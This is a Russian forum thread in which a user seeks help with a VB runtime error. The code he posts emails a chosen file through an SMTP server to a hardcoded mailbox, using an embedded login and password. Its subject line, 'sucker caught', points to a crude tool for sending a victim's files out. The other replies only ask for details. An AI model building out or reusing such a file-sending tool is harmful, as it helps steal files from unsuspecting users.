VBA - Run-time error '424'

Iska · Отправлено: **07:59, 25-02-2013** | #2

Alexander158, и что можно понять из приведённого?! Что такое CD1, Text1? Как минимум — сама форма где? Сделайте её экспорт и выложите. Где код формы/модуля с процедурой send_message?

Alexander158 · Отправлено: **15:50, 25-02-2013** | #3

Вот полный исходник со всем чем только можно.

Sub send_message()
Dim o_Mess As Object, v_Conf As String
Set o_Mess = CreateObject("CDO.Message")
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
With o_Mess
.To = "gi33@bk.ru" 'Кому отправить (Тут вставляем свою почту)
.From = "ibr73@bk.ru" 'От кого (здесь тоже свою, но с которой будут отправляться отчеты)
.Subject = "====== Лошок попался ======" 'Тема (Название темы)
.TextBody = "Все готово. Скачай файл и наслаждайся. Удачи." 'Текст ( Само сообщение, текст не важен)
.AddAttachment "" + Text1 + "" 'Отправка файла (Не трогаем)
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2
.Item(v_Conf & "smtpserver") = "smtp.mail.ru"
.Item(v_Conf & "smtpauthenticate") = 1
.Item(v_Conf & "sendusername") = "ibr73@bk.ru" 'От кого (своя почта от которой будет отправка)
.Item(v_Conf & "sendpassword") = "1234567890" 'Пароль от кого отправляется письмо (пароль обязателен)
.Item(v_Conf & "smtpserverport") = "2525"
.Item(v_Conf & "smtpusessl") = False
.Item(v_Conf & "smtpconnectiontimeout") = 60
.Update
End With
.send
End With
End Sub

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
Text1.Text = CD1.FileName ' Свойство FileName нужно для того чтоб узнать какой файл был выбран
End Sub

Private Sub Command2_Click()
Call send_message ' запуск отправки письма
End Sub

Private Sub Picture1_Click()

я думаю вы понимаете что можете просто кинуть этот исходник в блокнот сохранив в формате txt. а затем добавить в VB , без затруднения.

Iska · Отправлено: **20:33, 25-02-2013** | #4

Цитата Alexander158:

я думаю вы понимаете что можете просто »

Я думаю, что я — понимаю. Когда поймёте и Вы, что от Вас требуется — продолжим.

Alexander158 · Отправлено: **22:32, 25-02-2013** | #5

Iska нет у меня там экспорта. НЕГДЕ. не хотите помогать, ваше дело. До свидаение

Iska · Отправлено: **22:47, 25-02-2013** | #6

Я не «не хочу», а не могу Вам помочь без достаточного количества информации. Статься, кто-нибудь и сможет. Я — нет.

Alexander158 · Отправлено: **01:18, 26-02-2013** | #7

Iska по моему вы тоже не хотите. Видите же что я в этом VB не очень. дал вам исходник во втором посте, могли бы его поместить в VB , потом сделали бы вы своей любимый экспорт самостоятельно.

где вы здесь видете экспорт?

Delirium · Отправлено: **01:50, 26-02-2013** | #8

Save = Сохранить. Экспорт - операция сохранения.

Iska · Отправлено: **01:55, 26-02-2013** | #9

Alexander158, так давайте тогда вместе разбираться

.

Начнём с того, что Вы расскажете, в каком приложении Вы работаете с VBA.